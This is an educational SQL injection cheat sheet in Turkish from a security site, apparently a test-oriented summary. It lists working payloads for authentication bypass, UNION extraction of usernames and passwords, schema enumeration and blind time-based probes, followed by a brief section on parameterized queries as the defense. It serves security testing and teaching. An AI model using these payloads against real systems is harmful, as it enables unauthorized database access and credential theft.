~/sibercrew
Hızlı Başvuru Kartları

SQL Injection: Hızlı Başvuru Kartı

Kırık Erişim Kontrolü ve OWASP Top 10 makalelerimizdeki SQLi konusunun, test senaryolarına göre özetlenmiş hâli.

paylaş:

Bu kart, Web Güvenliği kütüphanemizdeki SQL Injection ile ilgili makalelerin yoğunlaştırılmış, test odaklı özetidir.

Zafiyet Tespiti İçin İlk Denemeler

sql
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' #
1' ORDER BY 1--
1' ORDER BY 2--

ORDER BY ile artan sayılar deneyerek tablo sütun sayısını bulabilirsin — hata aldığın sayıdan bir önceki, gerçek sütun sayısıdır.

UNION Tabanlı Enjeksiyon

sql
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--

Sütun sayısı ORDER BY ile bulduğun sayıyla eşleşmeli, aksi hâlde hata alırsın.

Bilgi Toplama (MySQL Örneği)

sql
' UNION SELECT version(),database(),NULL--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

Kör (Blind) SQL Injection

sql
# Boolean tabanlı - sayfa davranışı değişiyor mu?
1' AND '1'='1
1' AND '1'='2

# Zaman tabanlı - yanıt gecikmesi var mı?
1' AND SLEEP(5)--
1'; WAITFOR DELAY '0:0:5'--

Savunma Tarafı (Bunu Nasıl Önlersin)

python
# YANLIŞ - string birleştirme (enjeksiyona açık)
query = "SELECT * FROM users WHERE username = '" + username + "'"

# DOĞRU - parametreli sorgu (prepared statement)
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

Parametreli sorgular, girdiyi HİÇBİR ZAMAN sorgunun bir PARÇASI olarak yorumlamaz — bu, SQLi'yi kökten çözen tek gerçek yöntemdir (WAF gibi ek katmanlar sadece EK güvenlik sağlar, TEK BAŞINA yeterli değildir).

⚠️ Hatırlatma: Bu teknikler SADECE kendi test ortamlarında veya yazılı izin aldığın sistemlerde kullanılmalı.

Bu kart, SiberCrew ekibi tarafından hazırlanmış özgün içeriktir.

Yorumlar (0)

Henüz yorum yok, bu makale hakkındaki ilk düşünceyi sen paylaş.

Yorum yapmak için giriş yap.